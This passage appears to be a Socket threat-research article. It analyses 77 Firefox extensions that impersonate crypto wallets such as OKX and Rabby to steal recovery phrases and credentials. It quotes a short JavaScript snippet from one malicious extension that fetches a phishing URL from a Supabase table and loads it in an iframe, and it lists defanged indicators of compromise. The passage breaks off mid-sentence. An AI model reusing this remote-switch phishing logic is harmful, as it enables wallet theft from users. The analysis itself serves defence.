77 Firefox Extensions Linked to Crypto Wallet and Credential Theft

Summary

Socket has identified 77 Firefox extensions involved in a campaign dubbed 'Offside Wallet Theft Factory'. Of these, 40 are confirmed malicious, stealing cryptocurrency wallet secrets or user credentials, while 37 others are deceptive sports-score shells with malicious intent. The campaign, active since at least March 2026, uses various techniques including code reuse, impersonation, and repurposed extension histories to distribute malware.

Full text

Back[Research][Security News]77 Firefox Extensions Linked to Crypto Wallet and Credential TheftSocket uncovered 77 linked Firefox extensions, including 40 that steal wallet secrets or credentials and 37 deceptive sports-score shells.Kirill BoychenkoAug 19, 2026|21 min readSocket identified 40 malicious extensions that steal wallet secrets or credentials, plus 37 deceptive sports-score shells linked through shared code, infrastructure, publishing artifacts, and version histories.The Socket Threat Research team is tracking 77 Firefox extension identities linked through code reuse, cloned extensions, deceptive marketplace descriptions, author-selected add-on ID patterns and domain-like suffixes, cryptocurrency-wallet impersonation, and version histories showing extension repurposing. Extension-level analysis confirms 40 as malicious. Another 37 form a coordinated multi-sport score-shell operation. Their analyzed builds contain no confirmed credential- or wallet-stealing payloads, but their deceptive functionality, shared publishing artifacts, and version histories indicate malicious intent.The campaign has operated since at least March 2026 and continued into August. Mozilla signing records for the original 59 analyzed versions span March 9 to August 3, with activity peaking in April and late July. Our investigation through mid-August identified 18 additional campaign-linked extension identities, expanding the tracked set to 77, with several extensions still live when we reported them.The malicious extensions impersonate OKX, Rabby Wallet, TronLink, and other Web3 products. Seven use threat actor-controlled Supabase projects as remote switches for phishing content. 15 capture recovery phrases, private keys, or other wallet secrets and exfiltrate them through Cloudflare Workers. 13 modified Rabby Wallet builds exfiltrate serialized keyrings before local encryption, while five additional extensions steal credentials and clipboard data through hardcoded command and control (C2) infrastructure.Analysis of a 77-extension corpus within the broader investigation reveals the operation’s publishing model. 37 extensions contain deceptive sports-score implementations spanning football, basketball, NBA, and hockey, sharing a hardcoded credential for legitimate API-Sports services while advertising unrelated functions such as password generation, dark mode, VPN access, currency conversion, screenshot capture, and note taking. Historical versions of nine confirmed malicious identities also used sports-score shells spanning football, basketball, NBA, and American football before later versions under the same Firefox IDs were repurposed into wallet-stealing extensions. The other 31 confirmed malicious identities lack the sports API integration but contain confirmed malicious wallet- or credential-stealing functionality.We are provisionally tracking this campaign as “Offside Wallet Theft Factory”, reflecting both the sports-score shells that helped expose the broader ecosystem and its factory-like production of cloned extensions designed to steal cryptocurrency wallet secrets. Shared code, infrastructure, campaign tokens, repeated add-on ID patterns, domain-like suffixes, clustered signing activity, misleading metadata, and direct version histories showing stable Firefox IDs transition from shell or utility builds into wallet malware indicate a common publishing pipeline or closely related threat actors. Attribution remains under investigation, and the available evidence does not establish that a single threat actor controls every extension.We reported extensions that remained live during the investigation to Mozilla’s security team. We appreciate the vigilance and responsiveness of Mozilla’s Add-ons Operations team as threat actors continue adapting their methods to evade detection. Even short-lived cryptocurrency wallet extensions can cause immediate and irreversible financial harm once victims expose recovery phrases or private keys. Our Firefox ecosystem coverage complements Mozilla’s protections by identifying related extensions, infrastructure, code reuse, version repurposing, and publishing patterns across the broader campaign.Representative attack flow for the confirmed malicious extensions. Threat actors capture wallet secrets through remotely delivered phishing interfaces or code embedded directly in the extension, enabling wallet takeover and cryptocurrency theft.Supabase-Controlled Firefox Extensions Deliver Wallet-Phishing Pages#Our investigation begins with 0KX WEB3, a Firefox extension that presents itself as an OKX cryptocurrency wallet but contains no wallet functionality.Its Firefox Add-ons listing used OKX-style branding and screenshots, described the extension as a universal Web3 wallet, and claimed that it collected no data. The name substitutes a zero for the letter “O” in OKX, helping it resemble the legitimate product. At the time of review, the listing identified the publisher only as dev and showed seven users.The 0KX WEB3 listing was live during our analysis and presented the extension as a cryptocurrency wallet for managing assets, connecting to Web3 applications, and swapping tokens. Mozilla’s security team removed the extension before publication.The packaged extension contains no code for creating wallets, managing keys, signing transactions, connecting to blockchain providers, displaying balances, or transferring cryptocurrency. Instead, it combines:A functional local notepad used as cover.A hardcoded Supabase project URL and anonymous API key.A remotely configurable URL loader.Logic that loads the supplied URL in the extension popup and opens it separately after installation or update.0KX WEB3 is therefore better classified as a remote-controlled phishing delivery extension than a conventional infostealer.From Installation to Wallet Compromise#Whenever a victim opens the extension, it queries the public_notes table in its embedded Supabase project and retrieves the latest content value. Supabase is a legitimate cloud platform; the threat actors abuse a specific project as a remote controller.During analysis, the record points to hxxps://portal-web3-extension-welcome[.]pages[.]dev/home.The extension loads this URL inside its popup and also opens it in a separate window after installation or update. The destination, hosted through the legitimate Cloudflare Pages service, presents a polished Web3 interface with Create wallet and Import wallet options.The remote page loaded by 0KX WEB3 presents a Web3 wallet interface and directs users toward wallet creation or import workflows.The import workflow requests a recovery phrase or private key, including recovery phrases of up to 24 words. A victim who submits either secret gives the threat actors everything needed to restore the wallet elsewhere and transfer its assets.The extension does not search for wallets or extract stored credentials. Instead, it relies on victims to enter secrets into the remote interface. It requests only storage and tabs, illustrating why low permission requirements do not necessarily mean low risk.Remote Activation and Benign-Looking Cover#The core logic implements a remote-content switch. Where necessary, we added inline comments to clarify malicious functionality and intent; all threat actor-controlled infrastructure has been defanged.JavaScriptconst { data } = await supabase .from("public_notes") // Query the threat actor-controlled table .select("content") // Retrieve the configured value .order("created_at", { ascending: false }) // Use the latest record .limit(1) .single(); if (data?.content?.startsWith("http")) { webIframe.src = data.content; // Load the phishing page } else { showLocalVault(); // Display the decoy notepad }When active, the remote URL loads in an iframe without a sandbox attribute; otherwise, the extension falls back to the local notepad. By changing a single Supabase value, the threat actor can switch between benign and phishing content witho

Indicators of Compromise

• url — https://portal-web3-extension-welcome[.]pages[.]dev/home
• url — https://dry-bush-5408[.]animalrescueeducationcenter-org[.]workers[.]dev/
• url — https://winter-smoke-a612[.]icy-star-f45c[.]workers[.]dev/
• url — https://winter-waterfall-0606[.]rihaniomar21[.]workers[.]dev/
• url — http://id[.]gemachriverdale[.]org:9000/hook/ptvve
• url — http://77[.]91[.]100[.]175/html/app[.]php
• url — http://77[.]91[.]100[.]175/html/continue[.]php
• ip — 77.91.100.175
• domain — api-sports.io
• domain — supabase.co
• domain — cloudflare.com
• hash_sha256 — 08b7b064fa9a41b06774315d944ffddff705ab727222a0c3bcac64a77553bf2f
• hash_sha256 — 4d0912d575087dab5f468214a2fd259bc386472a8b2b93b6e2441cde4bd941cb
• hash_sha256 — 26427220b9965e22deca0e617657c2c65b78f750183355d1265c147818367bd7
• hash_sha256 — 39827e214c31dbbf0ce20a40ee019cca2d96d621bf90dac4edc8b85a86311d09
• hash_sha256 — 894398430972f91db2f1916f9fbe28b7319cb0e7d0e91a51e764fda5e7d1e8c9

Entities